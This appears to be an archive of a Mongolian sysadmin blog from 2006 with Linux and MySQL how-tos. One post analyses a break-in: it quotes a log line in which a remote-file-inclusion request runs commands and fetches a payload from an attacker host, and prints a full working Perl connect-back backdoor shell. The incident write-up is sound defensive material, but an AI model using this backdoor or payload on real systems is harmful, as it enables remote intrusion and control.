Friday, October 27, 2006

Adding additional hard drive in Linux

Linux төрлийн систем анхлан хэрэглэгчид маань сервертээ шинээр hard disk суурилуулах нь ихээхэн түвэгтэй гэж боддог. Windows дээр бол залгачихаад л системээ эхлүүлэхэд өөрөө суурилагдчихсан байдаг шүү дээ. Тэгэхээр энэ удаа шинээр дискээ яаж Линукс системд нэмэх талаар үзэцгээе!

Disk, partition-ны нэрсийн тэмдэглээ

Дискний нэрүүд нь 3 үсгээс тогтох бөгөөд IDE болон SCSI disk drive-ууд тус бүр "hd", "sd" гэсэн 2 үсгээр эхлэдэг. Гурав дахь үсэг нь тухайн дискнийг аль disk controller-ын аль interface болохыг заадаг.

IDE disk drive бол дараах "a"-с "h" хүртэл,
SCSI disk drive бол дараах "a"-с "p" хүртэл байж болно.

Тэгэхээр ихэнхи системд эдгээр 3 дахь үсэг нь дараах хэлбэртэйгээр нэрлэгдсэн байна.

# a болон b - 1 дэх IDE controller-ын Primary interface дэх Master болон Slave disk
# c болон d - 1 дэх IDE controller-ын Secondary interface дэх Master болон Slave disk
# e болон f - 2 дахь IDE controller-ын Primary interface дэх Master болон Slave disk
# g болон h - 2 дахь IDE controller-ын Secondary interface дэх Master болон Slave disk

Нэрний дараачын хэсэг нь тоо байх бөгөөд энэ нь тухайн диск дэхь partition-ы дугаарыг заана. Жишээ нь: hda1, hdb2, sda1, sdd4 гэх мэт

IDE disk drive бол дараах 1-с 16 хүртэл,
SCSI disk drive бол дараах 1-с 15 хүртэл байж болно.

1-4 дугаартай бол primary, extended
5-16 (15) дугаартай бол logical

Өөрийн дискүүд дэх partition-оо харах гэвэл:

# ls /dev/hd*
эсвэл
# ls /dev/sd*

Өгөгдөл агуулсан шинэ диск нэмэх

Эхлээд мэдээж Линукс сервер компьютерээ унтраагаад шинэ хатуу диксээ залгана. Үүний даа системээ эхлүүлээд дараах командыг суперхэрэглэгчээс өгнө:

# ls /proc/ide

Үр дүн нь дараах хэлбэрээр харагдана:

drivers hda@ hdc@ ide0/ ide1/ piix

Бидэнд hdc гэсэн шинэ хатуу диск суурилагджээ гэж үзье:

Одоо уг диск өөртөө partition агуулсан эсэхийг шалгахдаа:

# fdisk -l /dev/hdc

Disk /dev/hdc: 64 heads, 63 sectors, 787 cylinders
Units = cylinders of 4032 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hdc1 * 1 610 1229728+ 83 Linux
/dev/hdc2 611 787 356832 5 Extended
/dev/hdc5 611 787 356800+ c Win95 FAT32 (LBA)

гэсэн үр дүн харагдлаа.

Одоо уг дискний эдгээр partition-уудыг системдээ залгаснаар дээрх мэдээлэлтэй ажиллах боломжтой болно:

# mount /dev/hdc1 /mnt/hdc1
# mount /dev/hdc5 /mnt/hdc5

5 дахь нь Windows системийнх тул та үүнийг файл системийн төрлийн заан залгах шаардлагатай юм:

# umount /mnt/hdc5
# mount -t vfat /dev/hdc5 /mnt/hdc5

Ихэнхи хэрэглэгддэг файл системийн төрлүүд нь:

* msdos - FAT12 and FAT16
* vfat - FAT16 with long file name support, FAT32
* ext2 - primary Linux file system;
* ext3 - compataible with ext2 file system with log support
* reiserfs - new Linux file system with log support

эдгээр бөгөөд үүнээс гадна нилээд файл системүүдтэй Линукс систем ажиллах чадвартай.

Өгөгдөл агуулаагүй шинэ диск нэмэх

Дээрх жишээний hdc диск суурилагдсан гэж үзвэл дараах командыг өгнө:

#fdisk /dev/hdc
Command (m for help): _

гэсэн үг дүн гарч ирэх бөгөөд m үсгийг дарж тусламж харах боломжтой.

Command (m for help): m
Command action
a toggle a bootable flag
b edit bsd disklabel
c toggle the dos compatibility flag
d delete a partition
l list known partition types
m print this menu
n add a new partition
o create a new empty DOS partition table
p print the partition table
q quit without saving changes
s create a new empty Sun disklabel
t change a partition's system id
u change display/entry units
v verify the partition table
w write table to disk and exit
x extra functionality (experts only)

Шинэ дискэнд partition байгаа эсэхийг харахдаа p товчыг дарна:

Command (m for help): p

Disk /dev/hdc: 64 heads, 63 sectors, 787 cylinders
Units = cylinders of 4032 * 512 bytes

Device Boot Start End Blocks Id System

гэвэл уг диск хоосон байна гэсэн үг.

Шинэ partition үүсгэхийн тулд n товчыг дарна:

Command (m for help): n
Command action
e extended
p primary partition (1-4)

Энэ нь primary эсвэл extended төрлийн partition-ны алиныг үүсгэхийн заана. Бид p товч дарж шинэ partition-оо үүсгэнэ.

Үүний дараа partition-ны дугаарыг оруулна:

Partition number (1-4): 1

Уг partition-ны дискны аль цилиндрээс эхлэхийг оруулна:

First cylinder (1-787, default 1):

Using default value 1

Дараа нь уг partition-ны дискний аль цилиндрт төгсөх дугаар эсвэл нийт эзлэх хэмжээг оруулна.
Гэхдээ хэрвээ бид уг дискийг бүхэлд 1 л partition болгох бол шууд Enter товч дарчихад болно:

Last cylinder or +size or +sizeM or +sizeK (1-787, default 787):
Using default value 787

Command (m for help):

За нигээд бид шинэ partition үүсгэчихлээ. Шалгая:

Command (m for help): p

Disk /dev/hdc: 64 heads, 63 sectors, 787 cylinders
Units = cylinders of 4032 * 512 bytes

Device Boot Start End Blocks Id System
/dev/hdc1 1 787 1586560+ 83 Linux

Command (m for help):

Хэрвээ бид дээрхи partition-ыг устгах хэрэг гарвал d товч дараад дугаарыг оруулж өгнө:

Command (m for help): d
Partition number (1-4): 1

Command (m for help

За одоо уг шинэ partition-оо диск рүүгээ хадгалаад гарах хэрэгтэй:

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.
Syncing disks.

Дискыг форматлах

#mkfs -t ext3 -j /dev/hdc1

mke2fs 1.37 (21-Mar-2005)
Filesystem label=
OS type: Linux
Block size=4096 (log=2)
Fragment size=4096 (log=2)
5029888 inodes, 10050657 blocks
502532 blocks (5.00%) reserved for the super user
First data block=0
307 block groups
32768 blocks per group, 32768 fragments per group
16384 inodes per group
Superblock backups stored on blocks:
32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632, 2654208,
4096000, 7962624

Writing inode tables: done
Creating journal (8192 blocks): done
Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 29 mounts or
180 days, whichever comes first. Use tune2fs -c or -i to override.

Шинэ partition-ыг файлсистем руу залгах

Шинэ хавтас үүсгээд түүнийг шинэ partition-ыг залгая (mounting):

#mkdir /backup
#mount -t ext3 /dev/hdc1 /backup

Нийт файлсистемд агуулагдаж буй partition -ыг харахдаа:

#mount | column -t

Системийг анх эхлэхэд автоматаар залгах

Дараах файлыг текст файл засварлагчаар нээгээд
#vi /etc/fstab

дараах мөрийг нэмнэ:

/dev/hdc1 /backup ext3 defaults 0 0

Төгсгөлд нь үүнийг мэдэж авснаар та Линукс системийн хэрэглээнд нэг алхам урагшиллаа. Амжилт хүсье!


цааш унших...

Friday, October 20, 2006

Secure remote filesystem mounting

Юуны өмнө ойрын үед хийж байгаа ажил үйлс маань маш урагштай байгаа болохоор сэтгэл санаа сайхан байна :)

Миний ажилладаг хэдэн сервер сүлжээгээр хоорондоо зарим файлуудаа share хийх шаардлага гарлаа.
- Эхлээд NFS (Network Filesystem) болгох санаатай нилээд үзлээ, бараг 2 өдөр суугаад нилээд их бэрхшээлтэй учирлаа. Миний ойлгосноор Sun-RPC буюу Remote Procedure Call ашиглаж ажиллаж байх шиг байна. Тиймээс энэ аргыг суулгахад хүндрэлтэй болоод аюул ихтэй гэж үзээд орхилоо.
-Дараа нь алдарт Samba-гаа ашиглахаар шийдлээ. Хоёр өдөр ашигласны эцэст permission problem-оос болоод бас л орхилоо.
-Нилээд олон distributed filesystem технологи, аргыг сонирхсоны эцэст sshfs буюу SecureShell FileSystem -ыг туршиж үзлээ. Эцэст ажиллагаа нь болон суурилуулахад маш энгийн зэрэг нь надад маш их таалагдав. (Сүүлийн үед зорилгодоо хүрч л байвал энгийн хялбар зүйл ашиглахаас ичихээ байсоон)

Товч танилцуулга

Будапештын нэг Linux hacker Miklos Szeredi анх FUSE (Filesystem in USErspace framework) гэж үүсгэсэн ба энэ нь sshfs үүсэх эх үндэс нь болжээ. Энэ FUSE Library нь Linux kernel 2.6.14-оос эхлэн албан ёсоор орсон юм байна. Үүнийг дижитал фотокамеруудын UBS холболт зэрэгт хамгийн их ашигладаг гэж ойлгов. ;)

1. Setup FUSE
Эхлээд FUSE -ээ кернелд модуль хэлбэрээр суулгах шаарлагатай.
2.6.14 кернелээс өмнөх кернелтэй Линус серверт үүнийг эх кодоос нь хөрвүүлж авахаас өөр аргагүй.

FUSE эх кодыг http://fuse.sourceforge.net/sshfs.html сайтаас татаж авах хэрэгтэй.

1.a Татаж авах
wget http://belnet.dl.sourceforge.net/sourceforge/fuse/fuse-2.5.3.tar.gz

1.b Задлая
tar xzf fuse-2.5.3.tar.gz

1.c Суулгах
cd fuse-2.5.3
./configure && make && make install && modprobe fuse

1.d Суусан эсэхийг шалгахдаа
lsmod | grep fuse

2. Setup SSHF

FUSE суусаны дараа SSHFS -ыг бас эх кодоос нь хөрвүүлж суулгах хэрэгтэй болно.

2.a Татаж авах

wget http://puzzle.dl.sourceforge.net/sourceforge/fuse/sshfs-fuse-1.7.tar.gz

2.b Задлах

tar xzf sshfs-fuse-1.7.tar.gz

2.c Суулгах

cd sshfs-fuse-1.7
./configure && make && make install

Санамж: RHEL4 дээр ингэж суулгахад /usr/local/lib дотор суулгаж байсан ба үүний дараа sshfs бүрэн ажиллуулахгүй байсан тул би дараах өөрчлөлтыг нэмэв:

ln -s /usr/local/lib/libfuse.so /usr/lib/libfuse.so
ln -s /usr/local/lib/libfuse.so.2 /usr/lib/libfuse.so.2

Магадгүй миний систем дээр PATH асуудал байсан байж магадгүй)

3. Mounting Remote FileSystem

Одоо ингээд таны системд sshfs суусан тул алсад орших өөр серверийн файл системыг өөрийн локаль систем руу залгая:

sshfs remote_userid@remote_host:/remote_directory local_directory

гэх мэт холбоход болчихно доо.

4. Unmounting Remote FileSystem

fusermount -u local_directory

Ингээд л болчихлоо. Хурдан байгаа биз!


цааш унших...

Wednesday, October 18, 2006

MySQL Master-Master Replication

Юунд хэрэглэх вэ?
Интернэт-д өдөрт л 2 сая орчим вебсайт шинээр мэндэлж байдаг гэж байгаа. Мөн том том мэдээллийн болон олон нийтийн сайтуудад нэр дор хэдэн мянган хэрэглэгчид ордог. Жишээ нь: Yahoo.com вебсайтаар өдөрт 2 сая гаруй хэрэглэгч үйлчилүүлдэг гэж хаа нэгтээгээс уншиж байсан санагдана. Тэгэхлээр ийм их ачаалал даахын тулд вебсерверүүдийг дэлхийгээр нэг тараан байрлуулаад тухайн хэрэглэгчид хамгийн ойр орших серверээс үйлчилгээг үзүүлдэг. Yahoo -д ийм 400 гаруй FreeBSD сервер байдаг гэж g0mb0 (Микомын инженер Ганболд) ахын нийтлэлээс харж байсан шүү.

За манай Монголд маань ч интернэт үйлчилгээ үзүүлдэг томоохон сайтууд олноор бий болох болжээ. Мөн Монголдоо хостинг хийгдсэн сайтууд руу гадаадаас ороход удаан ачаалдаг, эсрэгээр гадаадад хостинг хийгдсэн сайт руу Монголоос ороход удаад байдаг. Манай интернэт медиа үйлчилгээ үзүүлдэг on-air.mn сайтад ч яг ийм шаардлага гараад удаж байгаа юм.
Үүнийг шийдвэрлэхэд энэ мэдээллийн баазыг хувилах буюу mirror хийж болох юм.
Монгол дахь сервер нь дотоодын хэрэглэгчдэд, гадаад дахь сервер нь гадаадаас хандаж буй хэрэглэгчдэд үйлчилгээг үзүүлэх ба уг хоёр сервер өөрсдийн мэдээллийн тухайн агшин бүрт солилцож байхад л боллоо.

Үүнийг яаж хийх талаар энд товч бичиглэе!

MySQL Master-Master Replication

Эхлээд мэдээж Mysql сервер таны 2 сервер тус бүр дээр суусан байх ёстой.

1. Server Names

Master 1/Slave 2 ip: 202.131.2.131

Master 2/Slave 1 ip : 11.11.11.11

гэж бодъё.

2. Setup Master 1

Master1 серверийн /etc/my.cnf файлд дараах өөрчлөлтийг хийнэ.
[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
old_passwords=1

log-bin
binlog-do-db= # replication хийгдэх баазын нэр
binlog-ignore-db=mysql # хийгдэхгүй баазын нэрс
binlog-ignore-db=test

server-id=1

[mysql.server]
user=mysql
basedir=/var/lib


[mysqld_safe]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid


3. Create replication slave1 user

Master1 серверийн mysql сервис руу ороод дараах коммандыг өгнө:

mysql> grant replication slave on *.* to 'replication'@11.11.11.11 identified by 'slave';

Mysql сервисыг дахин ачаална:

/etc/init.d/mysqld restart

4. Setup slave1 replication

Slave1 буюу Master2 серверийн /etc/my.cnf файлд дараах өөрчлөлтийг хийнэ:

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
old_passwords=1

server-id=2

master-host = 11.11.11.11
master-user = replication
master-password = slave
master-port = 3306

[mysql.server]
user=mysql
basedir=/var/lib

[mysqld_safe]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

5. Starting slave1 replication

Slave1 буюу Master1 серверийн Mysql сервисыг дахин ачаална:

/etc/init.d/mysqld restart

Slave replication-ыг эхлүүлнэ:

mysql> start slave;
mysql> show slave status\G;

Үүний дараа дараахтай адил үр дүн дэлгэцэнд гарна:

*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 202.131.2.131
Master_User: replica
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: MASTERMYSQL01-bin.000009
Read_Master_Log_Pos: 4
Relay_Log_File: MASTERMYSQL02-relay-bin.000015
Relay_Log_Pos: 3630
Relay_Master_Log_File: MASTERMYSQL01-bin.000009
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 4
Relay_Log_Space: 3630
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: 1519187

1 row in set (0.00 sec)

Энд Slave_IO_Running болон Slave_SQL_Running гэсний ард Yes гэсэн байх ёстой.

6. Checking Master replication

Master1 сервер дээр дараах коммандыг өгнө:

mysql> show master status;
+------------------------+----------+--------------+------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------------+----------+--------------+------------------+
|MysqlMYSQL01-bin.000008 | 410 | adam | |
+------------------------+----------+--------------+------------------+
1 row in set (0.00 sec)

Үүний дараа дээрхтэй адил үр дүн дэлгэц дээр харагдах ёстой.

7. Create Master2 Replication

Slave1 буюу Master2 серверийн /etc/my.cnf файлд дараах өөрчлөлтийг хийнэ:

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock
# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1
server-id=2

master-host = 11.11.11.11
master-user = replication
master-password = slave
master-port = 3306

log-bin
binlog-do-db= # replication хийгдэх баазын нэр

[mysql.server]
user=mysql
basedir=/var/lib

[mysqld_safe]
err-log=/var/log/mysqld.log
pid-file=/var/run/mysqld/mysqld.pid

8. Create replication slave2

Slave1 буюу Master2 серверийн Mysql сервист дараах коммандыг өгнө:

mysql> grant replication slave on *.* to 'replication'@202.131.2.131 identified by 'slave2';

9. Setup Slave2 Replication

Slave2 буюу Master1 серверийн /etc/my.cnf файлд дараах өөрчлөлтыг хийнэ:

[mysqld]
datadir=/var/lib/mysql
socket=/var/lib/mysql/mysql.sock

# Default to using old password format for compatibility with mysql 3.x
# clients (those using the mysqlclient10 compatibility package).
old_passwords=1

log-bin
binlog-do-db= # replication хийгдэх баазын нэр
binlog-ignore-db=mysql # хийгдэхгүй баазын нэрс
binlog-ignore-db=test

server-id=1


# information for becoming slave.
master-host = 202.131.2.131
master-user = replication
master-password = slave2
master-port = 3306

[mysql.server]user=mysqlbasedir=/var/lib

10. Starting Slave2 Replication

Master1, Master2 серверүүдийн mysql сервисүүдийг дахин эхлүүлнэ.

Master1 сервер дээр дараах коммандыг өгнө:

mysql> start slave;

Master2 сервер дээр:

mysql > show master status;

Master1 сервер дээр:

mysql> show slave status\G;

гэсэн комманд өгсөний дараа Master1 дээр

*************************** 1. row ***************************
Slave_IO_State: Waiting for master to send event
Master_Host: 11.11.11.11
Master_User: replica
Master_Port: 3306
Connect_Retry: 60
Master_Log_File: Mysql1MYSQL02-bin.000008
Read_Master_Log_Pos: 410
Relay_Log_File: Mysql1MYSQL01-relay-bin.000008
Relay_Log_Pos: 445
Relay_Master_Log_File: Mysql1MYSQL02-bin.000008
Slave_IO_Running: Yes
Slave_SQL_Running: Yes
Replicate_Do_DB:
Replicate_Ignore_DB:
Replicate_Do_Table:
Replicate_Ignore_Table:
Replicate_Wild_Do_Table:
Replicate_Wild_Ignore_Table:
Last_Errno: 0
Last_Error:
Skip_Counter: 0
Exec_Master_Log_Pos: 410
Relay_Log_Space: 445
Until_Condition: None
Until_Log_File:
Until_Log_Pos: 0
Master_SSL_Allowed: No
Master_SSL_CA_File:
Master_SSL_CA_Path:
Master_SSL_Cert:
Master_SSL_Cipher:
Master_SSL_Key:
Seconds_Behind_Master: 103799
1 row in set (0.00 sec)

ERROR:
No query specified

гэсэн үр дүн дэлгэц дээр харагдах болно.


цааш унших...

Wednesday, October 04, 2006

Мартамхай Сис Админуудад

Манай мэргэжилийнхэн олон юм дунд ажилладаг болохоор зарим үед аль нэг нууц үгийг марчихсан байдаг. Арга ч үгүй биз дээ, би л гэсэн хүний өөрийн нийлсэн 6-10 сервер дунд ажилладаг. sshd, root, admin, mysql db, postgresql db, ftp энэ тэр гээд түмэн юмний доторхи түмэн нууц үгийг тогтооно гэж үгүй. Дээр нь бүгдийг нь байс гээд л өөрчилдөгийг хэлэх үү. Шинээр солисоныхоо дараа бол ихэнхдээ шинийгээ мартчихна.

За тэгэхлээр MySQL датабэйс серверийн root нууц үгийг сэргээе!

1. console дээр root эрхээр логин хийнэ

2. mysql service -ийг унтраая

root@console1# /etc/init.d/mysqld stop

3. mysql хэрэглэгчээр mysqld процессийг эхлүүлнэ

root@console1# su - mysql
mysql@console1$ /usr/libexec/mysqld --skip-grant-table

4. mysql клиент руу орно.

mysql@console1$ mysql

5. mysql датабэйс руу орно.

mysql> use mysql;

6. user table-ын root хэрэглэгчийн нууц үгийг солих query явуулна

mysql> update user set Password=password('new_password')
where ((User like 'root') and (Host like 'localhost'));

7. Нууц үгийг файлд шинэчлэнэ

mysql> flush privileges;

8. mysql service -ыг унтраана

mysql@console1$  exit

root@console1# killall mysqld

9. mysql service-ыг буцаан асаана

root@console1# /etc/init.d/mysqld start

10. Одоо шинэ нууц үгээ шалгах хэрэгтэй

root@console1# mysql -u root -pnew_password -h localhost
mysql> exit


цааш унших...

Ай, энэ муусайн хакерууд уу

Саяхан нэг өдөр хостинг компаниас имэйл ирэв. Унштал танай серверээс хөрш сервер руу flood аттак хийсэн байна. Уг аттак хийсэн хэрэглэгчийг устгах буюу шаардлагатай арга хэмжээг яаралтай авна уу гэж байна.

2006-09-23 18:57:55.622633 MYHOST -> TARGETHOST IP Fragmented IP protocol (proto=UDP 0x11, off=50320)
2 2006-09-23 18:57:55.622637 MYHOST -> TARGETHOST IP Fragmented IP protocol (proto=UDP 0x11, off=51800)
4 2006-09-23 18:57:55.622641 MYHOST -> TARGETHOST IP Fragmented IP protocol (proto=UDP 0x11, off=53280)
6 2006-09-23 18:57:55.622741 MYHOST -> TARGETHOST IP Fragmented IP protocol (proto=UDP 0x11, off=54760)
.....

91.73 inbound Mbps to TARGETHOST
0.00 outbound Mbps from TARGETHOST

Серверт ороод системийн бүртгэлүүдийг (system logs) бүгдийг нь ухлаа даа. /tmp фолдероос хэдэн файл ачаалсан нь харагдав.

Apache хэрэглэгчээр /tmp дотор хэдэн скрипт файлыг upload хийчихжээ.
ls -a /tmp
.x dc.txt i.pl t.pl t.pl.1 w00t xxd.txt

Apache-ын бүртгэл дотор

/var/log/httpd/httpd-access_log.3:202.182.48.94 - - [14/Sep/2006:00:51:47 -0500] " GET /chatters/aedatingCMS2.php?dir[inc]=http://HACKERHOST/thekuntul/aa.txt?& cmd=uname%20-a; id; cd%20/var/www/html/chatters/patServer; wget%20HACKERHOST/supernova/psy.tar.gz HTTP/1.0" 200 3316

гэсэн мөр олдов. Манай нэг кодер open source chat script туршиж байгаад орхисон байсан нь upload хийгддэг алдаатай код байж л дээ.
cat dc.txt
#--==Shell==--
#
$system = '/bin/sh';
$ARGC=@ARGV;
print "--== ConnectBack Backdoor Shell vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
if ($ARGC!=2) {
print "Usage: $0 [Host] [Port] \n\n";
die "Ex: $0 127.0.0.1 2121 \n";
}
use Socket;
use FileHandle;
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or die print "[-] Unable to Resolve Host\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or die print "[-] Unable to Connect Host\n";
print "[*] Resolving HostName\n";
print "[*] Connecting... $ARGV[0] \n";
print "[*] Spawning Shell \n";
print "[*] Connected to remote host \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "--== ConnectBack Backdoor vs 1.0 by LorD of IRAN HACKERS SABOTAGE ==-- \n\n";
system("unset HISTFILE; unset SAVEHIST ;echo --==Systeminfo==-- ; uname -a;echo;
echo --==Userinfo==-- ; id;echo;echo --==Directory==-- ; pwd;echo; echo --==Shell==-- ");
system($system);

Ай шибаал гэж, ингээд л нэг гарыг серверт apache хэрэглэгчээр shell команд горим ачаалуулчихсан байваа.

Хамгийн их довтолгоонд өртдөг нь веб сервер учраас түүнийхээ хамгаалалтыг байнга чангатгаад байж дээ. Сис админ-уудаа!


цааш унших...

Monday, October 02, 2006

Хошин шог

Зарим үед *nix гэхээр л дандаа нэг л уйтгартай, баахан текст, комманд байдаг гэж бүү бодоорой. Бидэн дотор бас л хөгжилтэй, наргиантай зүйлс зөндөө байдаг юм шүү:

Зураг 1: Micro$oft-ын дээхнэ үед лицензийг нь худалдаж авч байсан Xenix гээд ОС талаар ийм зураг гарч байж.

Зураг 2: The penguin threw an apple and broke the windows


Зураг 3: Rock Pengiun destroying Windows















Зураг 4: Оцон шувуу хариуг нь барив.. хэхэхэ


цааш унших...

BASH shell-д өнгө тавих

Анх Debian GNU/Linux суулгаад ажиллаж байхад console нь нэг л тухгүй, тухайн хавтасны файл, хавтасуудыг жагсаалт хийн харахад аль нь файл, хавтас болох нь мэдэгдэхгүй нэг л биш ээ. Тэгээд байнга хэрэглэдэг bash shell дээрээ өнгө тавихаар шийдлээ. Таньд ч гэсэн ийм зүйл тохиолдвол дараах өөрчлөлтыг хийгээрэй:

Өөрийн home диретортоо ороод .bashrc файлыг нээгээд дараах мөрийг нэмнэ. Жишээ нь

cd ~
vi .bashrc гэх буюу өөрийн дуртай текст засварлагчаар .bashrc -г нээгээд

export LS_OPTIONS='--color=auto'
eval "`dircolors`"

гэсэн 2 мөрийг нэмчихээд дахин логин хийгээд ороорой.


цааш унших...

Zombie процесс хайх

Linux хэрэглэгчдэд бас тулгардаг асуудал нь зарим daemon процессууд үхсэн буюу zombie болсон эсэхийг хайн олох. Энэ нь тухайн процессын ажиллагаа хэвийн бус болж санах ойд ачаалагдсан хэвээр байгааг хэлдэг.
Linux төрлийн системийн процесс бүрт Status буюу процессын төлөв байдаг.

Процессын төлөв нь дараах утгуудтай байна.

S : sleeping - хүлээлтийн горимд
R : running - ажиллаж буй горимд
D : waiting (over het algemeen voor IO)
T : gestopt (suspended) of getrasseerd
Z : zombie (defunct) - үхмэл төлөвт

Иймээс үхмэл процессыг уг төлөвөөр хайн олох комманд:

ps -el | grep 'Z' /* Z төлөвтэй бүх процессыг лист хийх */

Үүний дараа таны системд үхмэл процесс байгаа бол дараахтай адил гаралт харагдана.

[root@s324 /]# ps -el | grep 'Z'
F S UID PID PPID C PRI NI ADDR SZ WCHAN TTY TIME CMD
1 Z 0 1213 589 0 75 0 - 0 funct> ? 00:00:00 dovecot-auth

Мөн үхмэл процесс нь жижиг z үсгээр эхлэсэн байж ч болох юм. Тэгвэл:

ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]'

Уг комманд нь процессын төлөв (ostat), эцэг процессын дугаар (ppid), өөрийн дугаар (pid), процессыг үүсгэсэн комманд гэсэн багануудаар Z болон z үсэгээр эхлэсэн процессуудын жагсаалтыг харна.

Тухайн үхмэл процессыг дахин эхлүүлэх:

kill -HUP `ps -A -ostat,ppid,pid,cmd | grep -e '^[Zz]' | awk '{print $2}'`

Өмнөх коммадын гаралт дээр awk коммандаар 2-р баганы утгыг гарган kill -HUP коммандыг аргументэд өгснөөр тухайн үхмэл процессыг дахин эхлүүлнэ.


цааш унших...

Түгээмэл хэрэглэгддэг Linux командууд

Хараад байхад ихэнхи Linux сонирхогч залуус маань энэ төрлийн системийн коммандын горимыг хараад л өмнөх Windows системийн хичнээн хялбархан байсныг мэдэрдэг юм шиг санагддаг. Жишээ нь л гэхэд коммандын горим дээрээс системийн мэдээллүүдээ яаж харахыг мэддэггүй. Тиймээс түгээмэл ашиглаж болох хэдэн коммандуудыг эндээс хараарай:

http://www.pixelbeat.org/cmdline.html


цааш унших...

blogger templates | Make Money Online